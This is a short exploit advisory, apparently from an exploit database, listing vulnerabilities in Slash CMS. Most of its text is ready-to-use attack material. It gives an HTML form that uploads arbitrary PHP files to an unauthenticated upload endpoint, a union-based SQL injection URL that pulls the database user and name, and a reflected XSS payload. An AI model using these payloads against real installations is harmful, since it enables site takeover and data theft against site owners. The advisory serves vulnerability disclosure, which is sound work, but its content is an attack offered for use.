Slash CMS – Multiple Vulnerabilities
########################################## [~] Exploit Title: Slash CMS Multiple Vulnerabilities [~] Date: 21-03-2013 [~] Author: DaOne aka Mocking Bird [~] Vendor Homepage: http://www.slash-cms.com/ [~] Software Link: http://sourceforge.net/projects/slashcms/ [~] Category: webapps/php [~] Google Dork: "N/A" [~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6 ########################################## # File Upload: <form action="http://localhost/slash-cms/core/plugins/ajaxupload/ajaxupload.php" method="post" enctype="multipart/form-data"> <input type="file" name="sl_userfile"> <input type="submit" value="Upload"></form> Uploaded File Path: /tmp/{Filename}.php # XSS / SQL Injection: http://localhost/slash-cms/index.php?mod=sl_pages&id=-2+union+select+1,2,user(),database(),5,6 http://localhost/slash-cms/index.php?mod=sl_pages&id=<script>alert(1)</script> |